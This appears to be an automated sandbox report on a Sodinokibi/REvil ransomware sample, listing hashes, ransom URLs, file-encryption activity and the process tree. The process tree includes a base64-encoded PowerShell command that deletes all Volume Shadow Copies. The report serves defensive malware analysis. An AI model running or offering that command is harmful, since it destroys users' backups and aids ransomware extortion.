Analysis
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max time kernel
129s -
max time network
147s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:58
Static task
static1
Behavioral task
behavioral1
Sample
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe
Resource
win10-en-20211208
General
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Target
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe
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Size
164KB
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MD5
20ec4f0e06c982452745ec8d49adef38
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SHA1
954938af3c1311035496971281d91741974658cd
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SHA256
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35
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SHA512
319dbcc021908fd667b11d17fe8ee647b72a00617a102d2c4c0422e1725befaa9968d6204f15c4808a30e78827abc6d8e71f473e129fcadf02f789f03c17fa11
Malware Config
Extracted
C:\97suoj24-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF6F87AEDD8EDA74
http://decryptor.top/FF6F87AEDD8EDA74
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 10 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exedescription ioc process File renamed C:\Users\Admin\Pictures\StopSet.tiff => \??\c:\users\admin\pictures\StopSet.tiff.97suoj24 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\users\admin\pictures\ShowGrant.tiff d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\users\admin\pictures\StopSet.tiff d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File renamed C:\Users\Admin\Pictures\MountGrant.raw => \??\c:\users\admin\pictures\MountGrant.raw.97suoj24 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File renamed C:\Users\Admin\Pictures\PushUnregister.raw => \??\c:\users\admin\pictures\PushUnregister.raw.97suoj24 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File renamed C:\Users\Admin\Pictures\UpdateGet.tiff => \??\c:\users\admin\pictures\UpdateGet.tiff.97suoj24 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\users\admin\pictures\UpdateGet.tiff d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File renamed C:\Users\Admin\Pictures\ExpandGet.png => \??\c:\users\admin\pictures\ExpandGet.png.97suoj24 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File renamed C:\Users\Admin\Pictures\ShowGrant.tiff => \??\c:\users\admin\pictures\ShowGrant.tiff.97suoj24 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File renamed C:\Users\Admin\Pictures\UnblockExit.tif => \??\c:\users\admin\pictures\UnblockExit.tif.97suoj24 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exedescription ioc process File opened (read-only) \??\K: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\P: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\Q: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\R: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\T: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\W: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\B: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\E: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\Y: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\L: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\D: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\H: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\I: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\O: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\U: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\V: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\X: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\J: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\N: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\G: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\M: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\S: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\Z: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\A: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened (read-only) \??\F: d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe -
Drops file in System32 directory 1 IoCs
Processes:
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\06x6xm.bmp" d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe -
Drops file in Program Files directory 49 IoCs
Processes:
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exedescription ioc process File opened for modification \??\c:\program files\InvokeUpdate.dotx d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\97suoj24-readme.txt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\EditSwitch.ttf d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ResetUninstall.ttc d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\RestoreWait.cab d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\UnprotectExit.reg d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceme35.dll d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File created \??\c:\program files (x86)\97suoj24-readme.txt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ClosePush.M2TS d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\StepRestore.odt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\WatchDeny.cmd d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\97suoj24-readme.txt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceca35.dll d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlcecompact35.dll d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceqp35.dll d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\GetEnable.mpp d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ResetRevoke.asf d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ImportGet.ps1 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\RequestPublish.gif d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\StartDisconnect.7z d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\97suoj24-readme.txt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceer35EN.dll d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceoledb35.dll d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File created \??\c:\program files\97suoj24-readme.txt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ConvertToNew.TS d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\DisconnectRemove.xsl d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\FormatExpand.xps d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\NewBlock.xml d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\PingPush.svgz d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\RemoveInitialize.ppt d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ResetDebug.ex_ d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ConvertToSync.pptm d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\CopyConfirm.mov d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\UnlockClear.wps d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ResolveRequest.ods d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\SubmitTest.mpg d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\InstallShow.htm d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\PopOut.vssm d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\RevokeDebug.rtf d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\UnlockBlock.easmx d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlcese35.dll d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\AddInitialize.mpeg3 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\ConvertEdit.jfif d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\GroupResume.js d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\MountNew.mpg d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\CompareStep.ps1 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\CompleteCheckpoint.pptm d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\CheckpointSubmit.docx d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe File opened for modification \??\c:\program files\RedoSplit.TTS d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exepowershell.exepid process 1700 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe 1696 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1696 powershell.exe Token: SeBackupPrivilege 1788 vssvc.exe Token: SeRestorePrivilege 1788 vssvc.exe Token: SeAuditPrivilege 1788 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exedescription pid process target process PID 1700 wrote to memory of 1696 1700 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe powershell.exe PID 1700 wrote to memory of 1696 1700 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe powershell.exe PID 1700 wrote to memory of 1696 1700 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe powershell.exe PID 1700 wrote to memory of 1696 1700 d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe"C:\Users\Admin\AppData\Local\Temp\d4935989bbc355ab3d612d046ed01b06503374d2888aec46c639f7e8ccfcce35.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1696-55-0x000007FEFB771000-0x000007FEFB773000-memory.dmpFilesize
8KB
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memory/1696-57-0x0000000002550000-0x0000000002552000-memory.dmpFilesize
8KB
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memory/1696-58-0x0000000002552000-0x0000000002554000-memory.dmpFilesize
8KB
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memory/1696-59-0x0000000002554000-0x0000000002557000-memory.dmpFilesize
12KB
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memory/1696-56-0x000007FEF29D0000-0x000007FEF352D000-memory.dmpFilesize
11.4MB
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memory/1696-60-0x000000000255B000-0x000000000257A000-memory.dmpFilesize
124KB
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memory/1700-54-0x0000000075601000-0x0000000075603000-memory.dmpFilesize
8KB